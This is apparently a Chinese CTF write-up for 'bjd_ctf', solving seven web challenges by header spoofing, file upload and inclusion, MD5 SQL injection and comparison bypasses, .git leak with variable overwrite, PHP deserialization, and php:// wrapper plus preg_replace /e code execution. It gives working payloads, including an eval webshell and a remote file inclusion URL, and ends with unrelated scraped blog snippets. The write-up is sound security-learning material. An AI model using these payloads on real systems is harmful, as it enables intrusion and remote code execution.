bjd_ctf
1.抓包修改

提示修改id,postman修改headers里面的id

分析得到id是admin加admin的base64编码,payload为id: adminYWRtaW4=
请求后又提示请使用主机访问,修改xff, X-Forwarded-For: 127.0.0.1
再次请求又提示要从谷歌访问,修改Referer,再次访问得到flag
2.文件上传漏洞与文件包含
写好木马,修改mime,绕过类型判断。但是发现服务器将上传的文件进行了重命名,文件类型.php也被改为了.jpg。观察url有?action=upload.php,想到文件上传漏洞,于是包含我们上传的图片路径,成功将jpg格式文件当作php执行。
3.抓包修改
页面

postman访问发现headers里面藏了一些东西password

md5解密password得到密码是112233,输入登录,bp查看源码,得到flag。
4. sql MD5注入,MD5绕过
postman访问网站,在headers里面得到了一个
hint: select * ``from 'admin' where password``=md5($pass,``true``)
上网找 payload 可以很轻松地找到 ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是
| 1. | select * ``from 'admin' where password``=``'' or '6xxxxx' |
|---|---|
等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数
提交后又跳转到http://222.186.56.247:8102/levels91.php,f12查看源码得到,hint
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
//wow,you can really dance
-->
php是若类型,根据==漏洞,网上找两个md5开头为0e即可,此外也可以利用数组 ?a[]=1&b[]=2 绕过,由于 md5 函数哈希数组会返回 NULL,因此只要传两个不同的数组即可绕过限制 。
成功绕过之后,又跳到了一个新的网页,给了php源码为
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这次难度增加,变成了=,利用数组

另一种解法见https://www.secpulse.com/archives/70070.html
5. .git泄漏、变量覆盖
御剑扫一下目录,得到 /.git/,githack 得到源码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
变量覆盖分析
- POST:$flag=1
foreach($_POST as $x => $y){ $$x = $y; }
解释:$x=flag,$y=1,$$x=$($falg) = 1
- GET:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
$x=yds,$y=flag,所以$$x=$yds,$$y=$flag,所以最后$yds=$flag
当执行到
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
exit($yds)=exit($flag)。即可读取到flag内容。
详情解释https://www.jianshu.com/p/a4d782e91852
6.反序列化漏洞
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
class Flag{
public $file;
public function __wakeup(){
$this -> file = 'woc';
}
public function __destruct(){
print_r(file_get_contents($this -> file));
}
}
$exp = $_GET['exp'];
$new = unserialize($exp);
读源码可知,要绕过__wakeup()函数
<?php
class Flag{
public $file="/flag";
}
$test=new Flag();
echo serialize($test);
序列化后得到结果
O:4:"Flag":1:{s:4:"file";s:5:"/flag";}
要绕过__wakeup(),还需修改
O:4:"Flag":2:{s:4:"file";s:5:"/flag";}
更多知识:https://blog.csdn.net/silence1_/article/details/89716976
7.php为协议与 preg_replace 漏洞
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(strstr(file_get_contents('php://input'),'a')){
die("嚯,有点意思");
}
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
代码审计得知首先需要读取$text文件内容为I have a dream 但是过滤掉了php://input伪协议,只能用php://data
http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream
也可以用远程文件包含
http://222.186.56.247:8108/?text=http://1.1.1.1/1.txt
include($file)提示next.php,继续利用伪协议 php://filter 读取next.php源码的base64()编码
http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
审计源码发现preg_replace的/e漏洞,于是构想,利用preg_replace的/e漏洞执行getFlag(),再利用GET给cmd参数传递一句话木马,再用蚁剑连接即可。
或者更简单的方法
http://222.186.56.247:8108/next.php?\S*=${eval($_POST[test])}
相关内容:https://blog.csdn.net/weixin_43272781/article/details/94645507 //伪协议
相关内容:https://xz.aliyun.com/t/2557 //preg_replace的/e漏洞
总结没做出来的题,还需要学习的知识
1.模板注入漏洞
2.__get()魔术方法在当访问不存属性在或为私有属性的时候会触发
- vim泄漏、shtml命令执行
https://www.gem-love.com/websecurity/824.html#i
bjd_ctf的更多相关文章
随机推荐
- Leetcode(868)-二进制间距
给定一个正整数 N,找到并返回 N 的二进制表示中两个连续的 1 之间的最长距离. 如果没有两个连续的 1,返回 0 . 示例 1: 输入:22 输出:2 解释: 22 的二进制是 0b10110 . ...
- C# wpf window
使用vs2017 新建wpf 项目 MainWindow 被定义为partial,是因为他要和xaml的一些属性组合在一起,然后再运行起来,这正是 InitailizeCompoent 这个函数要干的 ...
- Rails框架学习
Don't Repeat Yourself! Convention Over Configuration. REST. Rails框架总览. Rails框架基本使用. Rails框架数据交互. Rai ...
- js array & unshift === push head
js array & unshift === push head const arr = [1, 2, 3]; console.log(arr.unshift(4, 5)); // 5 con ...
- Google coding Style Guide : Google 编码风格/代码风格 手册/指南
1 1 1 https://github.com/google/styleguide Google 编码风格/代码风格 手册/指南 Style guides for Google-originated ...
- prefetch vs preload vs prerender vs preconnect All In One
prefetch vs preload vs prerender vs preconnect All In One 前端性能优化 prefetch 预获取 https://developer.mozi ...
- ES6 ...rest In Action
ES6 ...rest In Action const arr = [ 2.48, 13.77, 8.64, 20.17, 8.94, 8.07, 12.05, 5.71, 17.54, 2.63 ] ...
- js array flat all in one
js array flat all in one array flat flatMap flatMap > flat + map https://developer.mozilla.org/en ...
- PAUL ADAMS ARCHITECT :阿联酋和美国富人推动英国高端房地产市场
来自2020年前三季度的数据显示,在英国高端市场上,由国际买家担保的抵押贷款交易数量最多,阿联酋目前处于领先地位.到目前为止,在2020年完成的所有交易中,有35%来自阿联酋. PAUL ADAMS ...
- 关于MacBook Air/Pro 外接显示器时,显示器黑屏无反应的解决方法,顺便求助M1芯片的mac 外接显示器如何开启Hidpi
显示器黑屏,无反应,频繁闪烁的原因 先说结论,直接换type-c转DP的显示器连接线吧,如果显示器不支持dp接口,那自求多福吧. 事情是这样的,m1版本的macbook air 刚发布就马上入手了一台 ...